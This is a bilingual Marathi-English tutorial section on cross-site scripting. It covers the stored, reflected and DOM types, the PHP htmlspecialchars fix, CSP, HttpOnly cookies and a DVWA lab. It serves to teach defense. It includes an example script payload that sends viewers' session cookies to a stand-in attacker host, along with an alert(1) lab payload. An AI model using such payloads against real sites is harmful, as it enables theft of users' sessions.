29. OWASP Top 10 Web Vulnerabilities
29.3 A03 Injection: Cross-Site Scripting (XSS)
XSS tevha hoto jevha app user cha input tasach web page var dakhavto, ani to input madhe JavaScript asla tar to victim chya browser madhe chalto.
| Type | Where the script lives | Example |
|---|---|---|
| Stored XSS | Saved in the database, shown to everyone | A comment containing <script> |
| Reflected XSS | In a URL/parameter, reflected back | A search box echoing your input |
| DOM XSS | In client-side JavaScript | JS writing location.hash to the page |
Attack example: a comment box that saves <script>document.location='http://attacker/?c='+document.cookie</script> steals every viewer's session cookie.
The fixes:
- Output encoding: escape data when showing it – in PHP,
htmlspecialchars($text, ENT_QUOTES).<becomes<, so the browser shows it, does not run it. - Input validation: reject or clean unexpected characters.
- Content Security Policy (CSP): a header that blocks inline/unknown scripts.
- HttpOnly cookies: so JavaScript cannot read the session cookie even if XSS happens.
echo htmlspecialchars($comment, ENT_QUOTES, 'UTF-8'); // safe output
// set secure cookies
session_set_cookie_params(['httponly'=>true, 'secure'=>true, 'samesite'=>'Lax']);
Ravindra Bagale's Tip
XSS cha mul mantra: "input la kadhihi vishwas theu naka, ani output nehmi encode kara." Reels app madhe user che captions/comments dakhavtana htmlspecialchars vaprach. Ek visarlela echo pura app dhokyat anto.
Lab
In DVWA (XSS Stored, low), post <script>alert(1)</script> and watch it run. Set security to high and see it neutralised. In your reels app, add htmlspecialchars to every place user text is displayed and confirm the script no longer runs.